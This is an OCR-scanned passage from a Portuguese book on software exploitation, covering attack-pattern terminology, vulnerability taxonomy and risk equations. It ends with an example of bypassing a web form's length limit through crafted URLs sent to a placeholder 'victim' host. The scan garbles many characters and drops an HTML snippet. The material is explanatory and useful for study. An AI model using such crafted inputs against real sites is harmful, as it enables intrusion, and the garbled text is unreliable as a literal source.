De fato, o software desempenha urn papel significativo na manuten~ao dos neg6cios da maioria das empresas atuais. Podemos tentar impedir que pessoas mal intencionadas tenham acesso ao software mal feito, mas isso esta ficando mais dificil, a medida que as barreiras convencionais entre os focos de informa~ao vao desaparecendo. Para ganhar velocidade e operar no tempo da Internet, permitimos que as informa<;oes se movam mais rapido. lsso significa ter mais servi<;os e uma explosao de interfaces voltadas ao exterior. Significa ter mais aplicativos expostos na extremidade externa das redes. Significa que uma quantidade maior de softwares fica exposta a invasores em potencial. Ate mesmo os usuarios domesticos ficam expostos, com a maior utiliza<;ao de software em casas, carros e bolsos. Todo mundo esta em risco.
Conclusao A explora~ao de software e uma arte e urn desafio. Primeiro e necessaria descobrir o que o c6digo esta fazendo- freqiientemente, observando o funcionamento dele. As ' vezes e possfvel quebni-lo e analisar as partes. As vezes voce pode enviar entradas malucas e observar a confusao que isso provoca. As vezes voce pode desassembla-lo, descompila-lo, juntar tudo e fazer testes. As vezes (principalmente quando se e urn "white hat", ou seja, urn hacker do bern) pode-se analisar o projeto e identificar problemas na arquitetura. Este livro trata da arte da explora<;ao de software. Na verdade, de certa forma, este livro e uma arma de ataque. E destinado aos hackers. 19 Os "script kiddies" nao gostarao deste livro simplesmente porque nao oferecemos hacks "prontos" .20 Este livro tern pouco valor para as pessoas que querem simplesmente atacar uma rede de
19. Utilizamos o termo hacker em seu sentido tradicional, conforme a definic;ao do Hacker's Dictionary: hacker: [originalmente, pessoa que faz m6veis com um machado] Substantivo. 1. Pessoa que gosta de
explorar os detalhes de sistemas programaveis eo modo de ampliar suas capacidades, diferentemente da maioria dos usuarios, que prefere aprender somente o minimo necessaria. 2. Pessoa que programa com entusiasmo {
32
Como quebrar c6digos
computadores sem conhecer as armas de ataque. Em vez disso, este livro e sobre a explora~ao de sistemas de software ou, ampliando a analogia, e sabre a fabrica~ao artesanal de armas. Os sistemas de software sao, em sua maioria, sistemas patenteados, complicados e, personalizados. E por isso que a explora~ao de software nao e uma atividade banal. E por isso que urn livro como este e necessario; talvez nao sejamos capazes de nos aprofundar no assunto. Este livro e perigoso; mas o mundo e urn Iugar perigoso. Saber mais serve para protege-to. Alguns podem criticar a divulga~ao dessas informa~oes, mas acreditamos que, no final das contas, guardar segredo e incentivar a obscuridade e prejudicial a todos. Acreditamos que, ao colocar livros como este nas maos de pessoas do bern, ajudaremos a jogar na lata de lixo da hist6ria uma grande quantidade de problemas comuns em seguran~a de software.
Padroes de ata ue
m problema bern real da seguranc;a computacional ea falta de uma terminologia comumente aceita. A seguranc;a de software nao e uma excec;ao. A confusao causada pela mfdia popular (que tenta desesperadamente tratar de questoes de seguranc;a de computadores) nao ajuda. Empregar male intencionalmente termos criados por fornecedores inescrupulosos que tentam engana-lo para que voce compre seus produtos tambem nao ajuda. Nesta sec;ao definiremos informalmente alguns termos utilizados ao Iongo do livro. Talvez algumas pessoas nao concordem com a maneira como definimos e utilizamos os termos. Basta dizer que nosso objetivo e a clareza e a consistencia, e separar as coisas dessa forma faz sentido quando se trata dessa questao. A primeira e mais importante definic;ao e o objetivo. Boa parte da diversao em explorar o software e escolher seu objetivo. Urn programa de software sob ataque ativo, remota ou localmente, e chamado de software-alvo. Urn alvo pode ser urn servidor na Internet, uma comutac;ao de telefone ou urn sistema isolado que controle a capacidade antiaerea. Para atacar urn alvo, deve-se analisar a existencia de vulnerabilidades. As vezes, isso se chama avaliafao de risco. Se uma vulnerabilidade de alto risco for descoberta, estara pronta para explorac;ao. A vulnerabilidade nao e uma explorac;ao, mas e necessaria para uma explorac;ao ocorrer. 0 software produz safda. Durante o teste, observamos a safda do software para determinar se urn defeito [fault] resultou em uma falha [failure]. Quanto mais saida for gerada pelo software, mai.s facil sera detectar os estados internos defeituosos e assim por diante. Observabilidade e a probabilidade de que uma falha seja perceptivel no espac;o de safda. 1 Quanto maior a observabilidade, mais facil sera testar uma determinada parte do software. 0 software que nao gera saida externa nao tern como indicar uma falha. Urn programa altamente observavel talvez tenha capacidade incorporada de saida de depurac;ao. Urn programa que normalmente tenha observabilidade baixa pode ser alterado utilizando-se urn depurador para fornecer observabilidade alta. Esse seria o caso se, por exemplo, urn rastreador de fluxo de dados estivesse anexado ao alvo.
U
1. Para informa~oes adicionais sobre a importancia da observabilidade e dos testes, consulte Software Fault Injection [Voas e McGraw, 1999].
34
Como quebrar c6digos
A explora~ao de software inclui a ideia de observabilidade, especialmente quando pensamos em explora~oes remotas. Por todo o livro discutimos diversas tecnicas para melhorar a observabilidade. A ideia basica e reunir o maior numero de informa~oes sobre posslveis estados internos do programa, tanto estaticamente (enquanto esta sendo criado) quanto dinamicamente (enquanto esta sendo executado).
Uma taxonomia Para medir o risco em urn sistema, as vulnerabilidades devem ser identificadas. Urn problema basico e que as vulnerabilidades de software permanecem, na maioria das vezes, sem classifica~ao ou identifica~ao. Ha urn pouco de ciencia basica, mas e incompleta e antiquada. A boa notlcia e que durante os ultimos anos urn grande conjunto de explora~oes de software especificos foi identificado, discutido e divulgado em varias partes da comunidade de software. Duas cole<;:6es comuns de vulnerabilidades sao a lista de discussiio bugtraq, em que muitas explora<;:6es sao primeiramente discutidos publicamente (http:// www.bugtraq.com) eo CVE, em que cientistas e professores universitarios cata logam as vulnerabilidades. Observe que, no inlcio do ano 2000, a bugtraq tornou-se uma empresa comercial e que agorae explorada pela Symantec para carregar seus bancos de dados proprietarios (que eles alugam para os assinantes). 0 CVE, administrado pela Mitre, e outra tentativa de reunir os dados de bug e defeito em urn s6 Iugar. 0 problema do CVE e que precisa de muita categoriza<;:iio. Os dois f6runs mencionados estao come<;:ando a permitir que os pesquisadores detenninem que certos bugs de software geralmente ocorram comumente em varios produtos diferentes. Afinal de contas, ha diversos p roblemas gerais em software. Embora dois produtos de software possam ter uma instancia espedfica de bug de buffer overflow, uma classe geral de problemas pode ser definida, em conjunto com outras instancias. Em muitos aspectos, urn buffer overflow parece igual, nao importando em que produto de software tenha ocorrido. Em nossa taxonomia , as vulnerabilidades (tanto os bugs como os defeitos) estao agrupadas por caracteristicas centrais e produzem padroes de ataque especificos. lsso se baseia na seguinte premissa: Erros de programa<;:ao relacionados produzem tecnicas de explora<;:ao semelhantes. Portanto, nosso objetivo e tratar dos problemas genericos de software em vez de vulnerabilidades especfficas conhecidas. 2 Uma classifica<;:iio geral fornece uma estrutura que pode ser utilizada ao auditar os grandes sistemas de software a procUl·a de vulnerabilidades, para entender e avaliar os resultados. Essa estrutura pode ajudar urn auditor a localizar tipos espedficos de problemas de software. Naturalmente, tais informa<;:6es sao uteis tanto para defender OS sistemas como para ataca-los.
2. Naturalmente, forneceremos diversos exemplos reais ao Iongo de todo o texto.
Capitulo 2
Padroes de ataque
35
Bugs Urn bug e urn problema de software. Os bugs podem existir em c6digo e podem nunca ser executados. Embora o termo bug seja utilizado de modo geral por muitos profissionais de software, utilizamos o termo de modo a incluir problemas relativamente simples de implementac;ao. Por exemplo, e urn bug utilizar strcpy() incorretamente em C e C++ de tal maneira que ocorra uma condic;ao de buffer overflow. Para n6s, os bugs sao problemas no nivel de implementac;ao que podem ser facilmente "suprimidos". Os bugs podem existir somente em c6digo. Os projetos nao tern bugs. Os scanners de c6digo sao eficazes em localizar bugs. Defeltos Urn defeito (flaw) tam bern e urn problema de software, mas em urn nfvel mais profundo. Muitas vezes, os defeitos sao muito mais sutis do que simplesmente urn erro do tipo off-by-one em uma referencia de array ou o uso de uma perigosa chamada de sistema. Urn defeito e instanciado no c6digo de software, mas tam bern esra presente (ou ausente!) no nfvel de projeto. Por exemplo, ha varios defeitos classicos em sistemas de tratamento de erros e recuperac;ao que falham de modo inseguro. Outro exemplo e expor-se aos ataques de cross-site scripting em razao de um mau projeto. Urn software pode ter defeitos que jamais serao explorados. Vulnerabilldades Os bugs e defeitos sao vulnerabilidades. Uma vulnerabilidade e urn problema que pode ser explorado por urn invasor. Ha muitos tipos de vulnerabilidade. Os pesquisadores de seguranc;a computacional criaram taxonomias de vulnerabilidades.3 As vulnerabilidades de seguranc;a em sistemas de software variam de erros de implementac;ao local (por exemplo, a utilizac;ao da chamada de func;ao gets() em C! C++), passando por erros de interface entre procedimentos (por exemplo, uma race condition entre uma verificac;ao de controle de acesso e uma operac;ao de arquivo), ate erros muito mais elevados no nfvel de projeto (por exemplo, sistemas de tratamento de erro e recuperac;ao que falham de modo inseguro ou sistemas de compartilhamento de objetos que induem equivocadamente problemas de confianc;a transitiva). 4 Geralmente, os invasores nao se preocupam se uma vulnerabilidade resulta de urn defeito ou de um bug, embora os bugs tendam a ser mais facilmente exploraveis. Algumas vulnerabilidades podem ser direta e completamente exploradas; outras somente servem como um degrau para um ataque mais complexo. 3. Ivan Krusl e Carl Landwehr sao dois cientistas que estudaram as vulnerabilidades e construlram taxonomias. Veja Krusl [1998] e Landwehr et al. [1993] para mais informa~oes. 4 . Um problema de confian<;a transitiva pode ocorrer quando um objeto e comparrilhado com um agenre que pode continuar compartilhando o objeto (de maneira que nao possa ser controlado por quem o compartilhou inicialmente). Se voce conta um segredo para alguem, essa pessoa pode escolber compartilha-Jo, mesmo que voce nao deseje isso.
36
Como quebrar c6digos
As vulnerabilidades podem ser definidas em termos de c6digo. Quanto mais complexa for uma vulnerabilidade, mais o c6digo deve ser examinado para detecta-la. De qualquer forma, somente observar o c6digo as vezes nao funciona. Em muitos casos, e necessaria uma descric;ao em urn nfvel mais alto daquilo que esta acontecendo em vez daquilo que esta disponfvel em c6digo. Em muitos casos, enecessaria uma descric;ao de projeto em urn nfvel de white board. Outras vezes, deve-se conhecer o detalhe relativo ao ambiente de execu~ao. Basta dizer que ha uma diferenc;a significativa entre erros comuns de programa (bugs) e os defeitos de arquitetura. Com freqiiencia, erros comuns podem ser corrigidos em uma unica linha de c6digo, ao passo que defeitos de projeto exigem urn novo projeto que quase sempre afeta multiplas areas. Por exemplo, em geral podemos determinar que uma chamada a gets() em urn programa CIC++ pode ser explorada em urn ataque de buffer overflow, sem conhecer nada sobre o restante do c6digo, seu projeto ou qualquer outra coisa sobre o ambiente de execuc;ao. Para explorar um buffer overflow em gets(), o invasor insere um texto malicioso em urn local de entrada de programa-padrao. Portanto, uma vulnerabilidade gets() pode ser detectada com boa precisao utilizando-se uma analise lexical muito simples. Vulnerabilidades mais complexas envolvem interac;oes entre mais de urn local no c6digo. Por exemplo, detectar com precisao as race conditions depende de mais que simplesmente analisar uma linha isolada de c6digo. Pode depender de conhecer o comportamento de diversas func;oes, entender o compartilhamento entre variaveis globais e conhecer o sistema operacional que oferece o ambiente de execuc;ao. Como os ataques estao tornando-se mais sofisticados, a noc;ao de que tipo de vulnerabilidade realmente importa esta em constante mudanc;a. Os timing attacks (ataques de sincronizac;ao) agora sao comuns, enquanto ha apenas alguns anos eram considerados ex6ticos. De maneira semelhante, os ataques de buffer overflow em duas fases que envolvem o uso de trampolins ja foram de domlnio dos cientistas de software, mas agora sao utilizados em explorac;oes do dia 0. Vulnerabilidades do projeto
As vulnerabilidades no nivel do projeto levam essa tendencia adiante. Infelizmente, determinar se urn programa tern vulnerabilidades no nfvel do projeto exige muito conhecimento. lsso faz com que localizar os defe itos no nivel do projeto seja algo nao apenas diflcil de realizar, mas particularmente diffcil de automatizar. Os problemas no nfve] do projeto parecem predominantes e, no mfnimo, sao uma categoria critica de risco de seguranc;a no c6digo. A Microsoft relata que cerca de 50% dos problemas descobertos durante o "Security Push" (campanha de seguranc;a promovida pela Microsoft) de 2002 eram problemas no nivel do projeto.5 Evidentemente, deve-se dar mais atenc;ao a problemas de projeto que tratem adequadamente dos riscos de seguranc;a de software. 5. Michael Howard, comunica~ao pessoal.
Capitulo 2
Padroes de ataque
37
Considere um sistema de tratamento de erro e recupera~ao. Recuperar-se de uma falha e um aspecto essencial da engenharia de seguran~a. Mas tambem e complicada, requer intera~ao entre os modelos de falha, projetos redundantes e defesa contra os ataques de nega~ao de servi~o. Em uma programa~ao orientada ao objeto, entender se um sistema de tratamento de erro e recupera~ao sao seguros envolve determinar a extensao de uma propriedade ou de diversas propriedades par toda uma variedade de classes que se estendem por todo o projeto. 0 c6digo de detec~ao de erro normalmente esta presente em cada objeto e metoda, e o c6digo de tratamento de erro normalmente esta separado e e diferente do c6digo de detec~ao. As vezes as exce~oes se propagam ate o nfvel de sistema e sao tratadas pela maquina que executa o c6digo (por exemplo, o tratamento de exce~oes do Java 2 VM). Isso dificulta bastante determinar se certo projeto de tratamento de erro e recupera~ao e seguro. Esse problema aumenta em sistemas baseados em transa~oes, os quais sao comumente util izados em solu~oes comerciais de comercio eletronico, em que a funcionalidade e distribufda entre muitos componentes diferentes executados em varios servidores. Outros exemplos de problemas no nfvel do projeto incluem os problemas de compartilhamento de objetos e confian~a, canais de dados desprotegidos (internos e externos), mecanismos incorretos ou ausentes de controle de acesso, falta de auditoria/registro em log ou registro em log incorreto, erros de pedido e sincroniza~ao (especialmente em sistemas de multiplos threads) e muitos outros. Para saber mais sabre problemas de projeto de software e como evita-los, veja Building Secure Software [Viega e McGraw, 2001] .
Uma visao dos sistemas abertos A cria~ao de uma taxonomia de vulnerabil idades de software nao e uma ideia nova. Entretanto, as poucas abordagens publicadas estao ultrapassadas e em geral nao conseguem ter uma visao sistemica do problema. A tradi~ao de criar taxonomias de falhas freqi.ientemente tenta separar os defeitos de codifica~ao e os "defeitos emergentes" (relacionados com configura~ao etc.) e os trata como problemas independentes e separados [Krusl, 1998]. 6 0 problema e que o risco do software somente pode ser medido e avaliado em rela~ao a urn ambiente especffico. Isso ocorre porque, em alguns casas, um atague potencialmente fatal nao oferece, em ultima instancia, risco algum se o firewall conseguir bloquea-lo. Embora determinada parte do softwarealva possa ser, por si s6, exploravel, o ambiente adjacente pode protege-to de danos (se urn firewall tiver sorte on urn sistema de detec~ao de invasao detectar urn ataque antes de qualquer dana ser feito). 0 software e sempre parte de urn sistema maior de hardware conectado, tecnologias de linguagem e protocolos. Entretanto, a questao do ambiente e uma faca de dais gumes, pais muitas vezes o ambience tern urn impacto negativo em risco de software. 6. 0 estudo 1978 Protection Analysis (chamado PA) eo estudo 1976 RISOS sao tentativas preliminares de classificas;ao das vulnera bilidades.
38
Como quebrar c6digos
0 conceito de "sistemas abertos" foi introduzido primeiramente na termodinamica por von Bertalanffy. 7 0 conceiro fundamental e que quase todos os sistemas tecnicos existem como parte de urn todo maior, e todos os componentes estao em estado de intera<;ao constante. Conseqi.ientemente, a analise de risco evoluiu a ponto de considerar o sistema em muitos nfveis: superconjuntos e subconjuntos. Algumas abordagens para medir o risco de software podem nao considerar o ambiente como parte essencial da hist6ria, mas o risco nao pode ser medido fora de contexto. Urn exemplo classico de urn efeito do ambience e demonstrado tomando-se urn programa que foi executado com sucesso e sem problemas de seguran<;a durante anos em uma rede proprietaria e colocando-o na Internet. Os riscos mudam de modo imediato e radical. Por razoes como essas, faz pouco sentido considerar o c6digo a parte de qualquer conhecimento sobre o firewall ou o contexto comercial em que o software operara. Da mesma forma nao faz sentido tratar a detec<;ao de invasao como urn componente at6mico em nfvel de rede separadamente do software que deveria ser monitorado. 0 fato e que o software comunica-se pelas redes e as defini<;6es simples de configura<;ao podem deixar brechas de seguran<;a totalmente expostas. Novamente, as configura~oes adequadas de firewall as vezes podem impedir um ataque que, de outra forma, destruiria um servidor Web. Por fim, separar o c6digo do ambiente no qual ele e executado, em ultima instancia, resulta em uma maneira artificial e equivocada de tra<;ar urn limite no sistema. De fato, tais limites acabam sendo de pouca ajuda pratica. 0 fator de complica<;ao e que urn sistema pode ser dividido em muitos componentes hierarquicos de varios graus de detalhe. Um sistema visualizado dessa maneira e urn conjunto de muitos componentes ou objetos existences em quantidades inumeraveis. Cada parte de software em um sistema pode ser visualizada da mesma forma, como um conjunto de muitos componentes ou objetos em nfveis diferentes. Em quase qualquer nivel de granularidade, esses objetos se comunicam urn com o outro. Sistemas modernos sao complexos e envolvem intera<;6es em muitos nfveis diferentes. 0 resultado de tudo isso e que a concep<;ao-padrao semelhante ao da Torre de Hanoi de aplica<;oes "empilhadas" (Figura 2.1) e bern enganosa. Aplicativos de alto nfvel comunicam-se diretamente com constru<;6es de nfvel muito baixo de sistema operacional {ate mesmo no nivel da BIOS), com muito mais freqiiencia do que muitas pessoas acham. Entao, em vez de uma hierarquia de comunica<;ao organizada, adequada, limpa, com tudo se comunicando corretamente somente com nfveis "imediatamente pr6ximos", quase tudo pode comunicar-se com quase tudo em todos os tipos de nfveis de separa<;ao. lsso faz com que construir urn dominio de prote<;ao seja algo diffcil, senao proximo do impossivel. Os grupos e dominios podem existir em torno de qualquer conjunto de objetos e, em ultima instancia, qualquer objeto envolve tanto o c6digo como a configura<;ao. Em ultima instancia, o ambiente rea/mente importa, e tentar considerar o c6digo separadamente do ambiente esta fadado ao fracasso. 7. Para saber mais sobre Ludwig von Bertalanffy, visite http://wv.rw.isss.org/lumLVB.hun.
Capitulo 2
39
Padroes de ataque
I App
II
I
App
App
I Sistema operacional
Figura 2.1 : Uma
visualiza~ao conceitual tlpica de aplicativos de software (app) como estruturas
e
hierarquicas aninhadas. A realidade que OS aplicativos nao sao tao bern "empilhados" como parecem aqui. Essa figura foi criada por Ed Felten da Princeton University.
A maioria dos livros sobre seguran~a (de rede) enfatiza somente o ambiente do software. Falam sobre corrigir problemas de seguran<;a no roteador, o firewall ou instalar o software de detec<;ao de invasao. Apenas recentemente (em 2001) os primeiros livros dedicados unicamente a desenvolver softwares seguros foram lan<;ados (Building Secure Software, de Viega e McGraw [2001] e Writing Secure Code, de Michael Howard e David LeBlanc [2002]). Achamos util dividir as abordagens em dois subcampos distintos: seguran~a de software e seguran<;a de aplicativo. A seguranr;a de software protege contra a explora<;~io de software, construindo softwares seguros em primeiro Iugar, principalmente chegando ao projeto correto (o que e diflcil) e evitando equivocos comuns (o que e facil). As questoes crfticas desse subcampo incluem: gerenciamento de risco de software, linguagens de programa<;ao e plataformas, auditoria de software, projeto voltado seguran<;a, defeitos de seguran<;a (buffer overflows, race conditions, controle de acesso e problemas de senha, aleatoriedade, erros criptograficos etc.) e teste de seguran<;a. A seguran<;a de software atem-se principalmente a projetar software para que seja seguro, garantindo que o software seja seguro e ensinando os desenvolvedores de software, arquitetos e usuaries. A seguranfa de aplicativos protege contra a explora<;ao de software de maneira post facto, depois que o desenvolvimento e concluido. A tecnologia de seguran<;a de aplicativo impoe uma politica razoavel sobre os tipos de coisas que podem ser executadas, como podem mudar e o que o software faz enquanto e executado. Os problemas criticos desse subcampo incluem o sandboxing de c6digo [colocar o c6digo em uma "caixa de areia "), prote<;ao contra c6digo malicioso, bloqueio de executaveis, monitoramento de programas quando sao executados, imposi<;ao da polftica de uso do software e lidar com sistemas extensiveis. Observe que esses dois subcampos devem ser considerados ao explorar o software.
a
40
Como quebrar c6digos
Risco
Ao denominar tipos espedficos de vulnerabilidades, podemos come~ar a atribuir nfveis de risco a essas vulnerabilidades. Uma vez que urn risco seja associado com urn bug ou defeito identificado de software, uma empresa pode calcular para onde os or~amentos precisam ser alocados para reduzir o risco. Por outro lado, um invasor pode utilizar os mesmos dados para calcular a probabilidade de dar mais "for~a ao bug". Evidentemente, explorar algumas vulnerabilidades custa menos, assim como custa menos reparar algumas vulnerabilidades. 0 risco descreve a probabilidade de que determinada atividade ou combina~ao de atividades !eve a uma falha de software ou de sistema e, como resultado, ocorrera urn dano inaceitavel de recurso. Em cerra medida, todas as atividades expoem o software a urn comportamento potencialmente defeituoso. 0 nlvel de exposi~ao pode variar, dependendo da confiabilidade do software, a quantidade de testes de CQ realizados no software e o ambiente de tempo de execu~ao do software. Os defeitos e bugs conduzem ao risco; entretanto, os riscos nao sao exploniveis. Os riscos captam a probabilidade de que urn defeito ou bug seja explorado (acreditamos que alto, medio e baixo aparentemente funcionem melhor como parametres para isso do que numeros exatos). Os riscos tambem captam o dano potencial que ocorrera. Nao apenas e posslvel a ocorrencia de urn risco muito alto, como tambem e provavel que cause grande dano. Os riscos podem ser gerenciados por meios tecnicos e nao tecnicos. 0 gerenciamento de risco de software leva em coma os riscos de software e tentativas de gerenciar os riscos apropriadamente, dada uma situa~ao particular. 0 que se segue eurn tratamento abreviado para medir o risco de software em urn ambience. Observe que, diferentemente de algumas abordagens, a nossa nao leva em conta um grande entendimento sobre o invasor- somente o software-alvo. Ignoramos o problema de categorizar e descrever invasores potenciais oeste livro. Ourros livros fomecem urn tratamento razoavel para avaliar o perfil de amea~a dos invasores [Denning, 1998; Jones et al., 2002). Portanto, a equa~ao de risco que apresentamos aqui visa somente a medir o dano ao software, pressupondo que exista urn invasor capaz. Naturalmente, se nao ha invasores capazes, entao nao ha risco. Potencial de dano Em nosso modelo, se o software-alvo eexplonivel, eo firewall nada faz para protegeto do ataque, o resultado e risco extremo. E importante entender que o risco nesse sentido significa somente o risco que o software ira falhar. Nao tentamos medir o valor nem o custo dessa falha. Em outras palavras, nao lhe diremos quanto valia seu banco de dados roubado. A verdadeira ava lia~ao de risco deve medir o custo de uma falha. Nesse caso, damos o primeiro passo para classificar o risco- coletar informa~oes sobre uma potencial falha de software, mas sem calcular ativo x valor, potenciais falhas em cascara e controle de dano.
Capitulo 2
41
Padroes de ataque
Dadas as nossas defini~6es, a equa~ao para potencial de dano Potencia do ataque (dada), que varia de 1 a 10 Exposi~ao
e:
x
de alvo (medida ou suposta em 1 OOo/o) de 0 a 1,0 =
Potencial de dano (o resultado esta no intervalo de 0 a 10)
x
10
0 potencial de dano e uma medida quantitativa. Por exemplo, se urn ataque eavaliado em 10 pontos em uma escalade 1 a 10, e voce estiver 100% exposto ao ataque (1,0 no intervalo especificado ), en tao seu potencial de dano ao site e10 x 10 = 100%. lsso significa que seu ativo estara 100% comprometido ou destruido. Cada ataque tern o potencial real de criar dano. Avaliamos esse potencial determinando a potencia de urn ataque. E mais provavel que os ataques de alta potencia causem consideraveis problemas com aplicativos (isto e, as coisas que os usuarios podem ver). Os ataques de baixa potencia nao causam problemas consideraveis. Exposi~ao
e potencia Outra dimensao, a exposifao, e uma medida da facilidade ou dificuldade em executar urn ataque. A exposi<;ao tambem pode ser medida. Se urn ataque for bloqueado no firewall, diz-se que tern baixa exposi~ao. Testando o firewall, podemos medir a exposi~ao a urn determinado ataque. Os ataques de alta potencia, por defini~ao, causam problemas consideraveis quando sao bem-sucedidos. Os ataques de alta exposi<;ao que tambem sao de alta potencia farao com que urn sistema trave, mas esses tipos de ataques de alta potencia normalmente indicam somente que o firewall nao esta configurado adequadamente. lsto e, em muitos casos podem ser diminufdos com configura~6es razoaveis de firewall. Por outro !ado, ataques de exposi~ao media que causam problemas de alta potencia indicam urn alvo fraco facilmente comprometido. Por defini~ao, nao e muito provavel que esses ataques sejam interrompidos somente com as regras de firewall. Portanto, sao urn prato cheio para a explora~ao de software. Os padroes de ataque de alta potencia com dimens6es de exposi~ao media incluem roubo de autentica<;ao, ataques de protocolo e situa~6es extremas de carga. Como dissemos, esses tipos de ataque somente podem ser evitados/diminuidos as vezes por meio de firewalls, detec<;ao de invasao e outras tecnicas comuns de seguran<;a de rede. Mas observe que esses sao ataques que nao podem ser facilmente evitados por um aplicativo de software especifico, pois tendem a aproveitar-se das fraquezas no nivel de comunica<;6es. Ataques baseados em entrada no nfvel do aplicativo normalmente sao ataques de alta exposi<;ao. Isso significa que sao facilmente rastreados pelo radar do firewallpadrao ou tecnologias de nivel de rede. Ha muitas variedades desse tipo de ataque. Padr6es comuns de ataque incluem campos malformados, variaveis de entrada manipuladas e manipula<;ao de representa<;ao. Falando em termos gerais, esses tipos de ataque tentam ampliar e manipular o espa~o de entrada do programa.
Como quebrar c6digos
42
Descrevemos duas variaveis importantes que podem ser medidas durante a avalia~ao de risco: exposi~iio e potencia. Em cada caso, pelo menos uma dessas variaveis deve ser medida para utilizar a equa~ao simples apresentada na proxima sec;ao. Como determinar valores reais para essas variaveis custa dinheiro e recursos, uma Cmica varia vel pode ser medida e utilizada na equac;ao, contanto que se suponha que a outra variavel seja 100%. Risco real Mesmo que voce esteja 100% exposto a urn ataque, mas o ataque em si nao atinja o alvo, o ataque nao tern impordincia. Isso econhecido nos drculos de analise de risco como impacto. 0 risco real mede o efeito de urn ataque enquanto considera ao mesmo tempo o potencial de dano. Se o software estiver completamente exposto aos ataques de inje~ao de banco de dados, o dano potencial talvez seja 100%. Masse o banco de dados niio river dados, o impacto sera zero- desse modo, o risco real sera zero. lsso significa dizer que "o ataque e possivel e, se fosse realizado, seria devastador, mas 0 ataque niio e util porque 0 banco de dados nao tern valor". A equac;ao para o risco real e: Potencial de dano (intervalo) 0-10 x lmpacto (1 00% medido ou presumido) = Risco real x 1 0
Medir o potencial de dano e relativamente barato e facil, porque fazer isso somente requer uma analise de firewalls e outros dispositivos de filtragem de larga escala em nfvel de rede. Urn ambiente completo de software pode ser analisado de urn unico gateway. Entretanto, observe que em muitos casos urn firewall ou gateway nao econfigurado para interromper o trafego da camada de aplicativo, como solicitac;oes de Web. lsso ocorre quando a segunda equac;iio passa a vigorar e revela se urn padriio de ataque realmente causa algum dano. A surpresa pode ser que os padroes de ataque fJresumidos genericamente tern pouco ou nenhum dano potencial e, as vezes, acabam causando muito dano quando urn site especifico e individual etestado. Nossas equac;6es revelam-se uteis na pratica porque refletem o que acontece no mundo real. Por exemplo, se urn padriio de ataque de alta potencia for descoberto, evidentemente o dano ao site pode ser aliviado reduzindo-se a exposic;ao. Em muitos casos, isso pode ser realizado adicionando-se uma nova regra de firewall - uma soluc;iio relativamente barata. Naturalmente, interromper todos os ataques no nfvel de aplicativo no firewall nao funciona bern. Uma melhor alternativa e corrigir o aplicativo para que reduza a potencia de urn padriio de ataque.
Um passeio por uma
explora~ao
0 que acontece quando urn programa de software e atacado? lntroduzimos a simples analogia de uma casa para orienta-lo durante a explorac;iio de software. Os "quartos" em nosso software-alvo correspondem aos blocos de c6digo no software que realiza
Capitulo 2
Padroes de ataque
43
alguma fun~ao. 0 trabalho disponfvel e entender suficientemente sobre os quartos para andar pela casa a vontade. Cada bloco de c6digo (quarto) serve a urn prop6sito unico para o programa. Alguns blocos de c6digo teem os dados da rede. Se esses blocos sao quartos de uma casa, e o invasor esta na porta de entrada, entao pode-se pensar no c6digo de rede como o hall de entrada. Tal c6digo de rede sera o primeiro a ser examinado e responder a entrada de urn invasor remoto. Na maioria dos casos, o c6digo de rede meramente aceita a entrada e a empacota em urn fluxo de dados. Esse fluxo eentao transferido mais profundamente na casa para segmentos de c6digo ma is complexes que ana lisam os dados. Entao o hall de entrada (do c6digo de rede) conecta-se por meio de portas internas a quartos pr6ximos mais complexes. No hall de entrada, pouca coisa interessante ao nosso ataque pode ser feita, mas ligada diretamente ao hall de entrada ha uma cozinha com muitos eletrodomesticos. Gostamos da cozinha, porque ela pode, por exemplo, abrir arquivos e bancos de dados de consulta. 0 objetivo do invasor e achar urn caminho para a cozinha pelo hall de entrada. 0 ponto de vista do invasor Um ataque se inicia quebrando as regras e subvertendo as suposi~oes. Uma das principais suposi~oes a ser testada e a suposi<;ao de "confian~a implicita". Os invasores sempre quebrarao qualquer regra de apresenta~ao de entrada que tenha rela~ao com quando, onde eo que e "permitido". Pelas mesmas raz6es pelas quais raramente sao feitos projetos de software, o software apenas e submetido raramente ao amplo "teste de resistencia", especialmente o teste de resistencia que envolve propositadamente a apresen ta~ao de entrada maliciosa. 0 resultado e que, por razoes de pregui~a inerente, por padrao confia-se nos usuaries. A urn usuario que tern confian~a implfcita confia-se o fornecimento correto de dados formados que estejam de acordo com as regras e, assim, tambem sao implicitamente "confiaveis". Para esclarecer isso ainda mais, repetiremos o que esta acontecendo. A suposi~ao basica com que trabalharemos eque usuarios confiaveis nao fornecerao dados "malformados" ou "maliciosos"! Uma forma espedfica dessa confian~a envolve o software cliente. Se o software cliente for criado para enviar apenas determinados comandos, suposi~oes implfcitas sao feitas com freqi.iencia pelos arquitetos de que urn usuario razoavel somente utilizara o software cliente para acessar o servidor. A questao que passa despercebida e que invasores normalmente criam software. Invasores habeis podem criar o proprio software cliente ou modificar urn cliente existente. Urn invasor pode (e ira) criar urn software cliente personalizado capaz de enviar entradas malformadas de prop6sito e no momenta certo. E dessa forma que se desfia o tecido da confian~a . Por que e ruim confiar nos usuarios Apresentamos agora urn exemplo comum que mostra como se revela a confian~a implfcita em um cliente. Nosso exemplo envolve o atributo maxsize de urn fonnuhirio de
44
Como quebrar c6digos
Hypertext Markup Language (HTML). Os formulcl.rios sao uma maneira comum de consultar usuaries em urn site Web quanto a dados. Sao utilizados extensivamente em quase todos os tipos de transa<;ao com base na Web. Infelizmente, a maioria dos formularies Web espera receber entrada adequada. 0 desenvolvedor que cria urn formulario tern a capacidade de especificar o numero maximo de caracteres que urn usuario pode apresentar. Por exemplo, o seguinte c6digo lirnita o campo de "nome de usua.rio" a dez caracteres:
Urn projetista que entender mal a tecnologia implicita talvez suponha que urn usuario remoto esteja limitado a enviar somente dez caracteres no campo de nome. 0 que eles talvez nao saibam e que a imposi<;ao do tamanho de campo acontece na maquina do uswirio remoto, dentro do proprio navegador Web do usuario! 0 problema e que o usuario remoto talvez tenba urn navegador Web que nao respeite a restri<;ao de tamanho. Ou talvez o usuario remoto construa urn navegador malicioso que tenha essa propriedade (se for urn invasor) . Ou melhor ainda, o usuario remoto talvez nao utilize realmente urn navegador Web. Urn usuario remote somente pode submeter a solicita<;ao de formulario manual mente em urn Uniform Resource Locator (URL) criado especificamente: http://victim/logi n. cgi?username=bil lthecat
Em qualquer caso, nao se deve, definitivamente, confiar no usuario nem no software do usuario remoto! Nao ha absolutamente nada que impe~a que o usuario remoto submeta urn URL, como http://victim/login.cgi?username=ESSE_E_UM_NOME_OE_USUARIO_MUITO_LONGO Suposi~oes
